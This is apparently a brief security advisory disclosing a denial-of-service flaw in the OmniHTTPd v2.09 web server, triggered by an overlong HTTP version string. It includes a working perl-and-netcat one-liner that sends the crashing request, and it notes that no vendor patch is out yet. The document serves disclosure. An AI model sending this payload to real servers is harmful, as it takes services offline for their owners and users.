Hi there. The OmniHTTPd v2.09 of Omnicron (www.omnicron.ca) contains a problem with handling long HTTP versions which causes a denial of service. Found this problem while developing a new plugin for BED (Bruteforce Exploit Detector,www.kryptocrew.de/snakebyte/bed.html). [ Problem When sending a malformed request with a HTTP version containing 4096 or more characters, the HTTPd crashes. Example: perl -e 'print "HEAD / "."a"x4096 ."\n\n"' | nc 127.0.0.1 80 This attack also works with every other request types like 'GET', 'POST',... . [ Patches Nothing published yet, contacted vendor 2 weeks ago. Keep looking at vendor site at www.omnicron.ca. Martin J. Muench - www.codito.de
